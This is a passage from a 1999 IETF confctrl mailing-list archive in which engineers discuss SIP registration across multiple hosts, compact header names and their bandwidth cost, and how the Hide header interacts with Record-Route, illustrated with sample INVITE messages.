	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id OAA11081;
	Tue, 15 Jun 1999 14:59:20 -0400 (EDT)
Message-ID: <37669F45.D2029D8B@dnrc.bell-labs.com>
Date: Tue, 15 Jun 1999 14:45:25 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Pradeep Malhotra <pradeep@trillium.com>
CC: confctrl@ISI.EDU, rsapra@trillium.com, s_sriraman@trillium.com
Subject: Re: SIP registration
References: <199906151706.KAA04521@isildur.trillium.com.trillium.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Pradeep Malhotra wrote:
> 
> Hi,
>         I am new to SIP specifications. I have a basic doubt about the
>         registration process of the users with SIP servers. Let's say there
>         is a domain company.com which has a number of hosts. A user is
>         logged on to four different hosts simultaneously. There is a user agent
>         server on each host and there is one SIP proxy server in the domain.
> 
>         Does the user have to register with each user agent server for SIP
>         services or to the SIP proxy server? Is there a possibility that the
>         user does not register at all and when an inoming invitaion arrives at
>         the SIP proxy, it could find the user's current hosts using location
>         services?

There are many valid possibilities according to the protocol spec. Which
one is actually done depends on the configuration of the software and
the needs of the application:

1. each of the four user agents registers the same name
(user@company.com). When a call for user@company.com arrives at the
proxy, it can be forwarded to any one (or all) of these hosts, according
to its configuration and policy.

2. one of the hosts can perform the registration for the others. The
software probably couldn't do this automatically, but a user could sit
at one host, and register all four hosts to the same name in a single
registration message.

3. Registration is optional. The proxy server could use a location
service to locate which hosts the user is logged in on, if such a
service were available, rather than depending on registrations.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 15 20:40:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA28796
	for confctrl-outgoing; Tue, 15 Jun 1999 20:40:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA28791
	for <confctrl@zephyr.isi.edu>; Tue, 15 Jun 1999 20:40:26 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA27360
	for <confctrl@ISI.EDU>; Tue, 15 Jun 1999 20:40:25 -0700 (PDT)
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #38416)
 id <0FDE00001I6F3J@firewall.mcit.com> for confctrl@ISI.EDU; Wed,
 16 Jun 1999 03:39:53 +0000 (GMT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FDE004COI6D4K@firewall.mcit.com>; Wed,
 16 Jun 1999 03:39:50 +0000 (GMT)
Received: from omzmta01.mcit.com (omzmta01.mcit.com [166.37.194.119])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id DAA04298; Wed,
 16 Jun 1999 03:39:10 +0000 (GMT)
Received: from dwillispc4 ([166.37.184.82])
 by omzmta01.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990616033947.LIRN1092@dwillispc4>; Wed,
 16 Jun 1999 03:39:47 +0000
Date: Tue, 15 Jun 1999 22:40:14 -0500
From: Dean Willis <dean.willis@wcom.com>
Subject: RE: SIP registration
In-reply-to: <37669F45.D2029D8B@dnrc.bell-labs.com>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Pradeep Malhotra <pradeep@trillium.com>
Cc: confctrl@ISI.EDU, rsapra@trillium.com, s_sriraman@trillium.com
Message-id: <000b01beb7a9$f1e008e0$54fa403f@dwillispc4.directlink.net>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3155.0
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan describes three options:
> 1. each of the four user agents registers the same name
> (user@company.com). When a call for user@company.com arrives at the
> proxy, it can be forwarded to any one (or all) of these hosts, according
> to its configuration and policy.
>
> 2. one of the hosts can perform the registration for the others. The
> software probably couldn't do this automatically, but a user could sit
> at one host, and register all four hosts to the same name in a single
> registration message.
>
> 3. Registration is optional. The proxy server could use a location
> service to locate which hosts the user is logged in on, if such a
> service were available, rather than depending on registrations.

A fourth option would be for each host to register a unique identity, like
"host1.company.com" and so on. The user profile for "user" in proxy
"sip.company.com" might manually provision "host1.company.com" and so on as
potential contacts, and the behavior of "sip.company.com" might be to fork
invites to "user@company.com" to the set of provisioned contacts which are
also registered. This behavior is especially interesting if one wishes to
adopt the PBX modality of assigning a numeric extension to each handset and
only listing a few users by name in the dirctory. This allows the handset to
function as a normal phone if a random user tries to place or receive calls
from it.

--
Dean Willis


From confctrl-owner  Wed Jun 16 08:15:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA18180
	for confctrl-outgoing; Wed, 16 Jun 1999 08:15:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18175
	for <confctrl@zephyr.isi.edu>; Wed, 16 Jun 1999 08:15:55 -0700 (PDT)
Received: from paleale.cisco.com (paleale.cisco.com [171.69.95.88])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16690
	for <confctrl@ISI.EDU>; Wed, 16 Jun 1999 08:15:55 -0700 (PDT)
Received: from OranLT ([171.69.210.9]) by paleale.cisco.com (8.8.4-Cisco.1/8.6.5) with SMTP id IAA22837; Wed, 16 Jun 1999 08:10:58 -0700 (PDT)
From: "David Oran" <oran@cisco.com>
To: "Scott Petrack" <scott.petrack@metatel.com>,
        "Eric Zimmerer" <eric.zimmerer@Level3.com>
Cc: <mjh@aciri.org>, <schooler@cs.caltech.edu>, <jdrosen@bell-labs.com>,
        <confctrl@ISI.EDU>,
        "Henning Schulzrinne" <schulzrinne@cs.columbia.edu>
Subject: RE: Re[2]: Compact name for CSeq: (and for everything else)
Date: Wed, 16 Jun 1999 11:10:55 -0400
Keywords: IETF
Message-ID: <NBBBIFCAKKOPNMMKHHEFGEHBFAAA.oran@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <Pine.LNX.4.10.9906040014140.26934-100000@petrack.metatel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Who said you had to do STRCMPS? You could do a 26-way TRIE and get your
answer in Log(n) memory references for headers unique in N characters.
Variable length doesn't need to cost much at all.

Anyway, I thought this all started with bandwidth savings (which doesn't
seem to matter either here...).

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Scott Petrack
> Sent: Friday, June 04, 1999 12:25 AM
> To: Eric Zimmerer
> Cc: mjh@aciri.org; schooler@cs.caltech.edu; jdrosen@bell-labs.com;
> confctrl@ISI.EDU; Henning Schulzrinne
> Subject: Re: Re[2]: Compact name for CSeq: (and for everything else)
>
>
> The issue is not so much *compact* headers, as much as *single fixed
> length* headers. In fact, fixed 2 byte length headers (although 4 would be
> okay too, as Henning points out). Fixed length headers that can be
> compared in a single instruction make a *huge* difference when processing
> large numbers of packets, compared to a strcmp.
>
> Today, it is possible to read the first two bytes of each required header
> and "guess" the rest. But there is no guarantee that this will work
> forever.
>
> It is true that HTTP's progress did not suffer because of the strcmps
> needed to implement an HTTP server. But surely it is well known that the
> strcmps slowed processing down?
>
> All I want to do is to avoid as many strcmps as possible, by extending
> work already done in a backward compatible manner.
>
> Scott
>
> On Tue, 1 Jun 1999, Eric Zimmerer wrote:
>
> > Scott,
> >
> > I read your confession with great sympathy.
> >
> > Level 3 and other carriers intend to send large volumes of SIP+
> messages,
> > and the benefits of compact standard length headers are substantial.
> >
> > Eric Zimmerer
> > Level 3 Communications, Inc.
> > Phone: 303-926-3142
> >
> > OK, I'll come clean.
> >
> > 1. I want all SIP headers to be fixed length. All the compact forms have
> > two bytes (a letter and a colon), and I would like to be able to
> > process a lot of headers very quickly.
> >
> > 2. As far as backward compatibility goes, in any
> > case the standard says I have to accept the long and the short form from
> > an "older system".
> > If I start talking to a system that doesn't understand the new compact
> > form, I will get a "bad request" error, and I hope the correct Warning:
> > line with decent warn text, and I promise I will send the long form.
> > But for the few million messages I intend to process, the gain of
> > having fixed length headers on processing is very useful.
> >
> >
> >
> > Scott
> >
> >
> > On Sun, 30 May 1999, Henning Schulzrinne wrote:
> >
> > > Scott Petrack wrote:
> > > >
> > > > For a particular application I am doing I have a severe bandwidth
> > > > constraint, and since CSeq: is a mandatory field, I would
> like to ask that
> > > > you bless a compact name for it. I'll vote for "q".
> > >
> > > The one problem I have with creating abbreviations for headers such as
> > > CSeq is that it immediately breaks all implementations. This
> wouldn't be
> > > so bad for informational headers (Organization, Subject,
> Priority, etc.)
> > > [and we might indeed want to do this], but is more serious for headers
> > > like CSeq, which are necessary for a proxy or UAS to process the
> > > request. Given that the savings is 3 bytes, I have to admit
> to a certain
> > > reluctance to breaking all existing implementations. (I know that we
> > > have no "legal" obligation to be backward compatible as we
> move to Draft
> > > Standard, but it doesn't exactly help the reputation of the
> protocol to
> > > make what may seem like gratuitous, but crucial, changes to basic
> > > aspects of it.)
> > >
> > > Assuming you are carrying a real media stream, I have to assume that
> > > your access bandwidth is at least 2.4 kb/s. At that rate, a
> 200-byte SIP
> > > request would take about one second to transmit. Not great,
> but you can
> > > still get decent post-dial delay performance.
> > >
> > > If you have a continuous stream, it might be better to use a
> lower-layer
> > > compression mechanism (such as those in PPP). They will automatically
> > > reduce CSeq to a few bits, as the string will make it quickly into the
> > > dictionary. Thus, if you compare the actual on-the-wire bit
> count of an
> > > INVITE with Cseq and an INVITE with q, I wouldn't be
> surprised if there
> > > would be no difference in size at all.
> > >
> > > To test the hypothesis, I created some SIP-only INVITE request of the
> > > form
> > >
> > >
> > > INVITE Y&,=n#)&); SIP/2.0
> > > v:SIP/2.0/UDP bcde
> > > f:petrack
> > > t:Y&,=n#)&);
> > > q:1 INVITE
> > > c:application/sdp
> > > l:100
> > >
> > > where the To and request-URI are randomly generated
> 10-character strings
> > > and the From and Via headers are constant. I'm assuming here that the
> > > proxy adds the local domain, for example. When "sending" 13 of these
> > > requests, each with a different random request-URI, To and Length, we
> > > get the following results for the total of 13 requests and the average
> > > request size:
> > >
> > > using Cseq: uncompressed=1345 bytes (103 bytes/request); gzip'ed: 353
> > > bytes (27.15 B/r)
> > > using q:    uncompressed=1306 bytes (100 bytes/request); gzip'ed: 352
> > > bytes (27.07 B/r)
> > >
> > > Thus, for this example, we get a grand effective saving of 0.08 bytes
> > > per request, or a little more than 0.6 bits/request. I'd imagine that
> > > this saving gets even smaller as the number of INVITE
> requests increase.
> > >
> > > >
> > > > In the next version I would be happy to see *every* header
> field have a
> > > > one-letter compact form. If you make the compact form case
> sensitive this
> > > > is easily done, otherwise perhaps you'll choose a character
> other than
> > > > ":" (colon) for the second byte. (e.g. make the compact form of
> > > > "Authorization" be "a:" and the short form of "Accept:" be "a/"). At
> > > > the very least let's have a short form for the more common optional
> > > > headers. (I need one for "Warning:", for error processing).
> > > >
> > > > I know that many people have OC-48s to the desktop, but I
> don't have one
> > > > to my wireless PDA (no, that's not my application ;-)). And
> while it is
> > > > true that some of the fields are of necessity very long
> (like long sip
> > > > addresses), I can deal with that by rewriting certain names
> in proxies.
> > > > Of course I can use the same proxies to rewrite "CSeq:" as
> "q:", but I
> > > > think there is a big win if we can all agree on compact
> encodings that we
> > > > can all use.
> > > >
> > > > Could we all agree on a letter NOW at least for the
> mandatory CSeq: field?
> > > > If no one cares I vote for "q:", just because it's in CSeq
> and is not
> > > > too common. If one of the SIP authors would publish a
> complete list of
> > > > compact names, that would be great. (I vote for "w:" for Warning:)
> > > >
> > > > Thanks,
> > > >
> > > > Scott
> > >
> > > --
> > > Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
> > >
> >
> >
> >
> >
>
>


From confctrl-owner  Thu Jun 17 07:14:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA21807
	for confctrl-outgoing; Thu, 17 Jun 1999 07:14:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA21802
	for <confctrl@zephyr.isi.edu>; Thu, 17 Jun 1999 07:14:35 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15963
	for <confctrl@ISI.EDU>; Thu, 17 Jun 1999 07:14:34 -0700 (PDT)
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #38417)
 id <0FDH00C016277H@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 17 Jun 1999 14:11:07 +0000 (GMT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FDH007UT61PBO@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 17 Jun 1999 14:10:37 +0000 (GMT)
Received: from omzmta01.mcit.com (omzmta01.mcit.com [166.37.194.119])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id OAA15491 for <confctrl@ISI.EDU>;
 Thu, 17 Jun 1999 14:06:59 +0000 (GMT)
Received: from wcom.com ([166.33.132.105])
 by omzmta01.mcit.com (InterMail v03.02.05 118 121 101)
 with ESMTP id <19990617141036.TTHA1092@wcom.com> for <confctrl@ISI.EDU>; Thu,
 17 Jun 1999 14:10:36 +0000
Date: Thu, 17 Jun 1999 09:10:38 -0500
From: Alan Johnston <alan.johnston@wcom.com>
Subject: Hide interaction with Record-Route
To: "confctrl@ISI.EDU" <confctrl@ISI.EDU>
Message-id: <376901DE.77113D5E@wcom.com>
MIME-version: 1.0
X-Mailer: Mozilla 4.51 [en] (Win95; U)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A question has come up relating to interactions between the Hide header
and the Record-Route header.

What is the proper operation of a proxy if it receives a SIP request
like this (body not shown for clarity):

INVITE sip:picard@starfleet.gov SIP/2.0
Via: SIP/2.0/UDP sip2.wcom.com
Via: SIP/2.0/UDP sip1.wcom.com
From: sip:alan.johnston@wcom.com
To: sip:picard@starfleet.gov
Call-ID: 2001@sip1.wcom.com
CSeq: 1 INVITE
Record-Route: sip2.wcom.com
Hide: hop

In this case, sip2 is in the required routing path, but it wants its
address hidden from proxies and clients other than the trusted proxy,
sip3.

Without considering the interaction between Record-Route and Hide and
assuming sip3 is not in the required routing path, it would forward:

INVITE sip:picard@starfleet.gov SIP/2.0
Via: SIP/2.0/UDP sip3.wcom.com
Via: SIP/2.0/UDP jhdflkjHkljhHkJhLKG7u6tUfygIUkhlkjHgKJGlkjghkLJ; hidden
Via: SIP/2.0/UDP sip1.wcom.com
From: sip:alan.johnston@wcom.com
To: sip:picard@starfleet.gov
Call-ID: 2001@sip1.wcom.com
CSeq: 1 INVITE
Record-Route: sip2.wcom.com

(Where the random characters represent the encrypted sip2 address.)
However, the hidden sip2 address is present in the Record-Route header
for anyone to see.  A possible solution to this is to encrypt the
Record-Route hostname as well.  However, the proxy sip3 would then have
to insert itself into the Record-Route header since it is the only proxy
that could de-crypt the encrypted Record-Route header entry for sip2. 
In this case, the forwarded message would look like:

INVITE sip:picard@starfleet.gov SIP/2.0
Via: SIP/2.0/UDP sip3.wcom.com
Via: SIP/2.0/UDP jhdflkjHkljhHkJhLKG7u6tUfygIUkhlkjHgKJGlkjghkLJ; hidden
Via: SIP/2.0/UDP sip1.wcom.com
From: sip:alan.johnston@wcom.com
To: sip:picard@starfleet.gov
Call-ID: 2001@sip1.wcom.com
CSeq: 1 INVITE
Record-Route: sip3.wcom.com, NafMdaHksjfasJKHLKJGHLkjsdfkOalskljHKH;
hidden

If this is the correct behavior, the syntax for Record-Route and Route
would need to be changed to include encrypted addresses.

Another possible scenario is where the UAC sends a request that includes
both a Contact header and a Hide header. Probably the correct behavior
in that case would be for the proxy to remove the Contact header rather
then encrypt it.

Comments?

Thanks,
Alan Johnston
MCI WorldCom
314-342-7360

From confctrl-owner  Thu Jun 17 17:52:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA09844
	for confctrl-outgoing; Thu, 17 Jun 1999 17:52:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA09839
	for <confctrl@zephyr.isi.edu>; Thu, 17 Jun 1999 17:52:09 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA14499
	for <confctrl@isi.edu>; Thu, 17 Jun 1999 17:52:05 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Jun 17 20:52:00 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.17])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id UAA00785;
	Thu, 17 Jun 1999 20:51:57 -0400 (EDT)
Message-ID: <37699855.1121E676@dnrc.bell-labs.com>
Date: Thu, 17 Jun 1999 20:52:37 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Alan Johnston <alan.johnston@wcom.com>
CC: "confctrl@ISI.EDU" <confctrl@ISI.EDU>
Subject: Re: Hide interaction with Record-Route
References: <376901DE.77113D5E@wcom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Alan Johnston wrote:
> 
> A question has come up relating to interactions between the Hide header
> and the Record-Route header.

Good catch.

> 
> What is the proper operation of a proxy if it receives a SIP request
> like this (body not shown for clarity):
> 
> INVITE sip:picard@starfleet.gov SIP/2.0
> Via: SIP/2.0/UDP sip2.wcom.com
> Via: SIP/2.0/UDP sip1.wcom.com
> From: sip:alan.johnston@wcom.com
> To: sip:picard@starfleet.gov
> Call-ID: 2001@sip1.wcom.com
> CSeq: 1 INVITE
> Record-Route: sip2.wcom.com
> Hide: hop
> 
> In this case, sip2 is in the required routing path, but it wants its
> address hidden from proxies and clients other than the trusted proxy,
> sip3.
> 
> Without considering the interaction between Record-Route and Hide and
> assuming sip3 is not in the required routing path, it would forward:
> 
> INVITE sip:picard@starfleet.gov SIP/2.0
> Via: SIP/2.0/UDP sip3.wcom.com
> Via: SIP/2.0/UDP jhdflkjHkljhHkJhLKG7u6tUfygIUkhlkjHgKJGlkjghkLJ; hidden
> Via: SIP/2.0/UDP sip1.wcom.com
> From: sip:alan.johnston@wcom.com
> To: sip:picard@starfleet.gov
> Call-ID: 2001@sip1.wcom.com
> CSeq: 1 INVITE
> Record-Route: sip2.wcom.com
> 
> (Where the random characters represent the encrypted sip2 address.)
> However, the hidden sip2 address is present in the Record-Route header
> for anyone to see.  A possible solution to this is to encrypt the
> Record-Route hostname as well.  However, the proxy sip3 would then have
> to insert itself into the Record-Route header since it is the only proxy
> that could de-crypt the encrypted Record-Route header entry for sip2.
> In this case, the forwarded message would look like:
> 
> INVITE sip:picard@starfleet.gov SIP/2.0
> Via: SIP/2.0/UDP sip3.wcom.com
> Via: SIP/2.0/UDP jhdflkjHkljhHkJhLKG7u6tUfygIUkhlkjHgKJGlkjghkLJ; hidden
> Via: SIP/2.0/UDP sip1.wcom.com
> From: sip:alan.johnston@wcom.com
> To: sip:picard@starfleet.gov
> Call-ID: 2001@sip1.wcom.com
> CSeq: 1 INVITE
> Record-Route: sip3.wcom.com, NafMdaHksjfasJKHLKJGHLkjsdfkOalskljHKH;
> hidden
> 
> If this is the correct behavior, the syntax for Record-Route and Route
> would need to be changed to include encrypted addresses.

Actually, sip3 does not need to be on the Record-Route path for this to
work in the forward direction. sip3 will need to decrypt the
Record-Route header as it comes back in the 200 OK. It will receive this
200 OK whether or not its on the Record-Route path. The tricky part is
that unlike Vias, Record-Routes aren't stripped. So, sip3 may have to
attempt to decrypt each encryped Record-Route until it has found the one
for sip2 (if sip3 inserted its own Record-Route and didn't set Hide:
hop, this operation is easier). 

Unfortunately, requests in the reverse direction will also be routed
(using a reversed version of the list). This is not in the base spec,
but has been identified previously as an omission. In this case, the
Record-Route list received at the UAS will be completely encrypted. The
Route headers generated will therefore be encrypted as well (note they
are not encrypted at the caller). As the reverse request is forwarded,
each proxy must try to decrypt the Record-Route used by the next hop. In
this direction, the problem you point out does exist - sip3 must be on
the Record-Route path.

However, requests from the originator will contain Route headers which
must be ENCRYPTED rather than decrypted, presuming we want to safeguard
the Route headers too. This is particularly nasty, since the proxies
can't easily tell whether they are in the "forward" or "reverse"
directions from the message alone. The behavior is different in each
case - one is try to encrypt, and the other is try to decrypt. 

It was never that clear to me how useful hiding the Via fields is. Other
stuff which seems more important (To and From) goes in the clear. Given
the complication here, I think we need to be sure its worth pursuing a
solution. I don't know of anyone who has implemented Via hiding yet
(speak up if you have), and this feature seemed a candidate for
potential removal at draft if no one found it useful. 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jun 18 02:01:18 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA19425
	for confctrl-outgoing; Fri, 18 Jun 1999 02:01:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA19420
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 02:01:17 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id CAA03506
	for <confctrl@ISI.EDU>; Fri, 18 Jun 1999 02:01:15 -0700 (PDT)
Received: (qmail 524 invoked from network); 18 Jun 1999 11:01:13 +0200
Received: from du143-246.ppp.algonet.se (HELO felix.intertex.se) (195.100.246.143)
  by hromeo.algonet.se with SMTP; 18 Jun 1999 11:01:13 +0200
Message-ID: <376A0C87.38EAEB4E@intertex.se>
Date: Fri, 18 Jun 1999 11:08:23 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Alan Johnston <alan.johnston@wcom.com>,
        "confctrl@ISI.EDU" <confctrl@ISI.EDU>
Subject: Re: Hide interaction with Record-Route
References: <376901DE.77113D5E@wcom.com> <37699855.1121E676@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Alan Johnston wrote:
> >
> > A question has come up relating to interactions between the Hide header
> > and the Record-Route header.
> 
> Good catch.
> 
> >
> > What is the proper operation of a proxy if it receives a SIP request
> > like this (body not shown for clarity):
> >
> > INVITE sip:picard@starfleet.gov SIP/2.0
> > Via: SIP/2.0/UDP sip2.wcom.com
> > Via: SIP/2.0/UDP sip1.wcom.com
> > From: sip:alan.johnston@wcom.com
> > To: sip:picard@starfleet.gov
> > Call-ID: 2001@sip1.wcom.com
> > CSeq: 1 INVITE
> > Record-Route: sip2.wcom.com
> > Hide: hop
> >
> > In this case, sip2 is in the required routing path, but it wants its
> > address hidden from proxies and clients other than the trusted proxy,
> > sip3.
> >
> > Without considering the interaction between Record-Route and Hide and
> > assuming sip3 is not in the required routing path, it would forward:
> >
> > INVITE sip:picard@starfleet.gov SIP/2.0
> > Via: SIP/2.0/UDP sip3.wcom.com
> > Via: SIP/2.0/UDP jhdflkjHkljhHkJhLKG7u6tUfygIUkhlkjHgKJGlkjghkLJ; hidden
> > Via: SIP/2.0/UDP sip1.wcom.com
> > From: sip:alan.johnston@wcom.com
> > To: sip:picard@starfleet.gov
> > Call-ID: 2001@sip1.wcom.com
> > CSeq: 1 INVITE
> > Record-Route: sip2.wcom.com
> >
> > (Where the random characters represent the encrypted sip2 address.)
> > However, the hidden sip2 address is present in the Record-Route header
> > for anyone to see.  A possible solution to this is to encrypt the
> > Record-Route hostname as well.  However, the proxy sip3 would then have
> > to insert itself into the Record-Route header since it is the only proxy
> > that could de-crypt the encrypted Record-Route header entry for sip2.
> > In this case, the forwarded message would look like:
> >
> > INVITE sip:picard@starfleet.gov SIP/2.0
> > Via: SIP/2.0/UDP sip3.wcom.com
> > Via: SIP/2.0/UDP jhdflkjHkljhHkJhLKG7u6tUfygIUkhlkjHgKJGlkjghkLJ; hidden
> > Via: SIP/2.0/UDP sip1.wcom.com
> > From: sip:alan.johnston@wcom.com
> > To: sip:picard@starfleet.gov
> > Call-ID: 2001@sip1.wcom.com
> > CSeq: 1 INVITE
> > Record-Route: sip3.wcom.com, NafMdaHksjfasJKHLKJGHLkjsdfkOalskljHKH;
> > hidden
> >
> > If this is the correct behavior, the syntax for Record-Route and Route
> > would need to be changed to include encrypted addresses.

Yes, I think so.

> 
> Actually, sip3 does not need to be on the Record-Route path for this to
> work in the forward direction. sip3 will need to decrypt the
> Record-Route header as it comes back in the 200 OK. It will receive this
> 200 OK whether or not its on the Record-Route path. The tricky part is
> that unlike Vias, Record-Routes aren't stripped. So, sip3 may have to
> attempt to decrypt each encryped Record-Route until it has found the one
> for sip2 (if sip3 inserted its own Record-Route and didn't set Hide:
> hop, this operation is easier).
> 
> Unfortunately, requests in the reverse direction will also be routed
> (using a reversed version of the list). This is not in the base spec,
> but has been identified previously as an omission. In this case, the
> Record-Route list received at the UAS will be completely encrypted. The
> Route headers generated will therefore be encrypted as well (note they
> are not encrypted at the caller). As the reverse request is forwarded,
> each proxy must try to decrypt the Record-Route used by the next hop. In
> this direction, the problem you point out does exist - sip3 must be on
> the Record-Route path.
> 
> However, requests from the originator will contain Route headers which
> must be ENCRYPTED rather than decrypted, presuming we want to safeguard
> the Route headers too.

Must they? I'm not sure I understand what you mean, correct me if I am
wrong, but the route list does not contain any upstream addresses to
encrypt since each hop removes the next hop from the list, does it? Or
is it the downstream addresses you mean?

> This is particularly nasty, since the proxies
> can't easily tell whether they are in the "forward" or "reverse"
> directions from the message alone. The behavior is different in each
> case - one is try to encrypt, and the other is try to decrypt.
>

Can not this be solved with a ;hidden parameter similar to the Via
header?
 
> It was never that clear to me how useful hiding the Via fields is. Other
> stuff which seems more important (To and From) goes in the clear. Given
> the complication here, I think we need to be sure its worth pursuing a
> solution. I don't know of anyone who has implemented Via hiding yet
> (speak up if you have), and this feature seemed a candidate for
> potential removal at draft if no one found it useful.

I think Via hiding is a very useful feature for NATs, where the task is
to hide local addresses. The To and From fields can contain
host-independent globally reachable URLs which, unlike the Via, not has
to convey the specific address of the caller/callee and in that case can
go in the clear. However, I don't see much use for the Hide header field
for NATs, since the NAT probably will hide the previous Via whether the
request did or did not contain the Hide header. It is the syntax of the
Via field that is of importance here, the allowing of encrypted
addresses and the ;hidden parameter. I think a similar construct for
Record-Routes and Routes could be very useful.

/Lars

> 
> -Jonathan R.
> 
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri Jun 18 07:37:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA24782
	for confctrl-outgoing; Fri, 18 Jun 1999 07:37:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24777
	for <confctrl@zephyr.isi.edu>; Fri, 18 Jun 1999 07:37:06 -0700 (PDT)
